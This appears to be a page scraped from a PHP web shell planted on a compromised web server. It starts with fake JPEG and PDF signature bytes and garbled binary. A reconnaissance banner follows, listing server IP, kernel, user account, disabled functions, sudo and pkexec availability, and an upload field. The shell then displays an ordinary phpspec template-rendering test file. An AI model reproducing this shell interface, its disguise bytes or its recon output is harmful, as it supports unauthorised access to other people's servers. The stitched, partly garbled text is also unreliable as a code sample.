ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 157.90.209.209 / Your IP : 216.73.216.148 [ Web Server : Apache System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64 User : evidenciarevista ( 1049) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Domains : 216 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/evidenciarevista/admin/vendor/phpspec/phpspec/spec/PhpSpec/Formatter/Html/ |
Upload File : |
<?php namespace spec\PhpSpec\Formatter\Html; use PhpSpec\ObjectBehavior; use Prophecy\Argument; use PhpSpec\IO\IOInterface; class TemplateSpec extends ObjectBehavior { function let(IOInterface $io) { $this->beConstructedWith($io); } function it_renders_the_string_as_is($io) { $this->render('text'); $io->write('text')->shouldHaveBeenCalled(); } function it_renders_a_variable($io) { $this->render('hello {name}', array('name' => 'Chuck Norris')); $io->write('hello Chuck Norris')->shouldHaveBeenCalled(); } function it_works_for_many_instances_of_vars($io) { $this->render('{name}! {greeting}, {name}', array( 'name' => 'Chuck', 'greeting' => 'hello' )); $io->write('Chuck! hello, Chuck')->shouldHaveBeenCalled(); } function it_renders_a_file($io) { $tempFile = __DIR__."/_files/TemplateRenderFixture.tpl"; mkdir(__DIR__."/_files"); file_put_contents($tempFile, 'hello, {name}'); $this->render($tempFile, array('name' => 'Chuck')); $io->write('hello, Chuck')->shouldHaveBeenCalled(); } function letgo() { if (file_exists(__DIR__."/_files/TemplateRenderFixture.tpl")) { unlink(__DIR__."/_files/TemplateRenderFixture.tpl"); rmdir(__DIR__."/_files"); } } }